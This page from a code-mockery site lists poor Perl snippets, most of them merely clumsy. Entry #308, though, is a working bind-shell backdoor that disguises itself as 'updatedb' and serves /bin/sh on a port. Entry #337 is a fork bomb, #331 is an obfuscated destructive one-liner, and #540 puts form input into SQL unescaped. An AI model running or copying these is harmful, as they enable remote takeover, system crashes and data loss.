1. Perl / Говнокод #702

    +138.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    sub get_ppl{
    	my $self = shift;
            my ($U, $print_done, $team) = @_;
    
             return "<ppl team_id='$team' battle_stats='$U->{_CHAR}->{win},$U->{_CHAR}->{loose},$U->{_CHAR}->{nobody}' medals='".$U->get_medal_string_for_user($U)."' $clan team_id='0' av_id='$U->{_CHAR}->{av_id}' fn='$U->{_CHAR}->{avatara}' u='$U->{_CHAR}->{u}' hp_u='$U->{_CHAR}->{hp_u}' stat0_u='$U->{_CHAR}->{stat0_u}' stat0='$U->{_CHAR}->{f}' stat1='$U->{_CHAR}->{m}' stat2='$U->{_CHAR}->{y}'  stat3='$U->{_CHAR}->{l}' hpmax='$U->{_CHAR}->{maxhp}' hp='$U->{_CHAR}->{hp}' aname='$U->{_USER_NAME}' lvl='$U->{_CHAR}->{lvl}' cname='$U->{_CHAR}->{name}' id='$U->{_ID}' carma='$U->{_CHAR}->{carma}' sex='$U->{_CHAR}->{sex}' slot0='$Item[0]' slot8='$Item[8]' slot7='$Item[7]' slot6='$Item[6]' slot1='$Item[1]' weight='$U->{_CHAR}->{weight}' slot5='$Item[5]' slot4='$Item[4]' slot3='$Item[3]' slot2='$Item[2]' city_id='$U->{_CHAR}->{city_id}'/>" if !$print_done;
             return "<ppl done='true' battle_stats='$U->{_CHAR}->{win},$U->{_CHAR}->{loose},$U->{_CHAR}->{nobody}' medals='".$U->get_medal_string_for_user($U)."' $clan team_id='0' av_id='$U->{_CHAR}->{av_id}' fn='$U->{_CHAR}->{avatara}' u='$U->{_CHAR}->{u}' hp_u='$U->{_CHAR}->{hp_u}' stat0_u='$U->{_CHAR}->{stat0_u}' stat0='$U->{_CHAR}->{f}' stat1='$U->{_CHAR}->{m}' stat2='$U->{_CHAR}->{y}'  stat3='$U->{_CHAR}->{l}' hpmax='$U->{_CHAR}->{maxhp}' hp='$U->{_CHAR}->{hp}' aname='$U->{_USER_NAME}' lvl='$U->{_CHAR}->{lvl}' cname='$U->{_CHAR}->{name}' id='$U->{_ID}' carma='$U->{_CHAR}->{carma}' sex='$U->{_CHAR}->{sex}' slot0='$Item[0]' slot8='$Item[8]' slot7='$Item[7]' slot6='$Item[6]' slot1='$Item[1]' weight='$U->{_CHAR}->{weight}' slot5='$Item[5]' slot4='$Item[4]' slot3='$Item[3]' slot2='$Item[2]' city_id='$U->{_CHAR}->{city_id}'/>" if $print_done;
    }

    Забавная проверка

    guest, 12 Марта 2009

    Комментарии (0)
  2. Perl / Говнокод #682

    +141.1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    my @idx = map{ (split(/\|/, $_))[0] || () }
    	    map{ io($_)->chomp->slurp } 
    		io($boardsdir)->filter(sub{ my $f = fileparse($_->name, qr/.txt/i);
    					    $_->name =~ /\.txt$/i and grep{$_ eq $f} @board;
    					})->all_files;

    Так бывает, когда хочется одним предложением сказать все.

    guest, 07 Марта 2009

    Комментарии (3)
  3. Perl / Говнокод #540

    −22.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    $counter_of_true_var=0;
        print "<div style=\"padding:0 0 0 10\"><table cellpadding=\"0\" class=\"main_text\" border=\"0\" cellspacing=\"0\"><tr><td height=30 width=200><b>Правельные ответы</b></td><td><b>Ваши ответы</b></td><td></td></tr>";
        for($i=1;$i<=20;$i++) {
          $to_string = "hid"."$i";
          $id_main = $FORM{$to_string};
          $sth = $dbh->prepare("SELECT id, true_var from theme_questions where id=".$id_main." order by id asc");
          $sth->execute;
            $tr_var = $sth->fetchrow_array;
          if ($i % 2) { $bgcolor="#ededed"; }
          else { $bgcolor="#dcdcdc"; }
          print "<tr><td height=\"20\" bgcolor=\"".$bgcolor."\">Вопрос № ".$i."). ".$tr_var."</td>";
          $to_string_sub = "r"."$i";
          if ($FORM{$to_string_sub} eq $tr_var) {
            $counter_of_true_var++;
            print "<td bgcolor=\"".$bgcolor."\">Вопрос №".$i.") ".$FORM{$to_string_sub}." </td><td style=\"padding:0 0 0 10\"><font color=\"green\">Правельный</font></td></tr>";
          }

    Тут всё просто:), PERL+HTML-говнокодище.

    guest, 11 Февраля 2009

    Комментарии (2)
  4. Perl / Говнокод #404

    −12.9

    1. 1
    2. 2
    3. 3
    4. 4
    if ($ids eq $parent_old) {
    	$dgkjhgksdg++;
    	$newbasenosorted[$dgkjhgksdg]="$num|$b[0]";
    }

    Магазин построенный на файлах..

    guest, 16 Января 2009

    Комментарии (6)
  5. Perl / Говнокод #337

    +150

    1. 1
    :(){ :&:;};:

    Смайлики на POSIX Shell

    guest, 06 Января 2009

    Комментарии (1)
  6. Perl / Говнокод #331

    +26

    1. 1
    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    guest, 05 Января 2009

    Комментарии (4)
  7. Perl / Говнокод #308

    +21.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    guest, 30 Декабря 2008

    Комментарии (6)
  8. Perl / Говнокод #100

    +116.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    @lib_001=('A','G','C','T','A');
    @lib_002=('C','T','A','A','G');		 
    @lib_003=('T','G','C','A','T');
    
    $string=<FILE>;
    @sequence=split("",$string);
    @code=@sequence[-7..-3];
    		
    if((join('',@lib_001) eq join('',@code)) or
        (join('',@lib_001[0..3]) eq join('',@code[0..3])) or
        (join('',@lib_001[1..4]) eq join('',@code[1..4])) or
        (join('',@lib_001[0,1,2,4]) eq join('',@code[0,1,2,4])) or
        (join('',@lib_001[0,2,3,4]) eq join('',@code[0,2,3,4])) or
        (join('',@lib_001[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_001);}
    			
    elsif((join('',@lib_002) eq join('',@code)) or
         (join('',@lib_002[0..3]) eq join('',@code[0..3])) or
         (join('',@lib_002[1..4]) eq join('',@code[1..4])) or
         (join('',@lib_002[0,1,2,4]) eq join('',@code[0,1,2,4])) or
         (join('',@lib_002[0,2,3,4]) eq join('',@code[0,2,3,4])) or
         (join('',@lib_002[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_002);}
    		
    elsif((join('',@lib_003) eq join('',@code)) or
         (join('',@lib_003[0..3]) eq join('',@code[0..3])) or
         (join('',@lib_003[1..4]) eq join('',@code[1..4])) or
         (join('',@lib_003[0,1,2,4]) eq join('',@code[0,1,2,4])) or
         (join('',@lib_003[0,2,3,4]) eq join('',@code[0,2,3,4])) or
         (join('',@lib_003[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_003);}
    
    else
    	{$tag=join('',@code);
    	  $closest_tag='NONE';}

    guest, 10 Декабря 2008

    Комментарии (13)
  9. Perl / Говнокод #60

    +6.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    ###
    ### ввод цен на открытки
    ###
    
    if ($p{card}==0) {$o=0}
    if ($p{card}==1) {$o=20}
    if ($p{card}==2) {$o=20}
    if ($p{card}==3) {$o=20}
    if ($p{card}==4) {$o=20}
    if ($p{card}==5) {$o=20}
    if ($p{card}==6) {$o=20}
    if ($p{card}==7) {$o=20}
    if ($p{card}==8) {$o=20}
    if ($p{card}==9) {$o=20}
    if ($p{card}==10) {$o=20}
    if ($p{card}==11) {$o=20}
    if ($p{card}==12) {$o=20}
    if ($p{card}==13) {$o=20}
    if ($p{card}==14) {$o=20}
    if ($p{card}==15) {$o=20}
    if ($p{card}==16) {$o=20}
    if ($p{card}==17) {$o=20}
    if ($p{card}==18) {$o=20}

    guest, 04 Декабря 2008

    Комментарии (6)
  10. Perl / Говнокод #55

    +1011.8

    1. 1
    #!/usr/blin/perl

    guest, 04 Декабря 2008

    Комментарии (61)